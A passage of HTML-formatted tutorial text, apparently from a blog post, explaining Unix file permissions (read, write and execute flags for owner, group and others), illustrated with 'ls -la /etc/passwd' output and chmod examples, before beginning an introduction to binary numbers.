margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Filesystem Structure:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each file has its own permissions for </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">read, write </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">and</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> execute</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> access for every type of user trying to access the file and combined from three main groups: </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">owner, group </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">and</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> any.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">File permissions overview:</span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col><col></col><col></col><col></col><col></col><col></col><col></col><col></col><col></col></colgroup><tbody><tr style="height: 21pt;"><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">OWNER</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">GROUP</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ANY</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each cell in the RWX group is a flag that is </span><span style="color: #38761d; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">enabled</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> or </span><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">not</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Let’s take a look at /etc/passwd file and it’s permissions:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">$ </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">ls -la /etc/passwd</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> -rw-r--r--</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 1 </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">root</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">root</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 2829 Jul 29 15:46 </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/etc/passwd</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> ^^^^^^^^^^ | | | | |</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> RWX Access | | | | File Name</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | | | Date Modified</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> Owner | |</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> Group |</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> Size</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Let’s try to understand this shit</span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col><col></col><col></col><col></col><col></col><col></col><col></col><col></col><col></col></colgroup><tbody><tr style="height: 21pt;"><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">OWNER</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">GROUP</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ANY</span></p></td></tr><tr style="height: 0pt;"><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This means, that OWNER (root) can read and write, GROUP (root) can read, and ANY other can read the file. That means that ONLY the </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">root</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> user can modify this file and any other user does not </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">can not </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">write or execute this file.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Command </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">chmod</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is used to modify file permissions:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">chmod +x somefile</span><span style="font-family: Arial; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># will enable EXECUTE flag for </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">all</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> groups</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">chmod a-x somefile</span><span style="font-family: Arial; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"># will disable EXECUTE flag for </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">ANY</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> group only</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="display: inline-block; position: relative; width: 100px;"></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Base-2 numeral system </span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">or</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> binary numeral system:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">A </span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">binary number</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is a number expressed in the </span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">base-2 numeral system</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> or </span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">binary numeral system</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, a method of mathematical expression which uses only two symbols: typically "0" (zero) and "1" (one).</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each digit in such number is referred to as a bit,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Since you can’t use other digits other than 0 and 1 following will explain incremental counting:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Decimal (base-10) -> Binary (base-2)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 0 -> 0</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 1 -> 1</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 2 -> 10</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 3 -> 11</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 4 -> 100</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 5 -> 101</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 6 -> 110</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 7 -> 111</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 8 -> 1000</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> etc...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each additional enabled bit adds </span><span style="color: #202122; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2**(bit_number)</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: 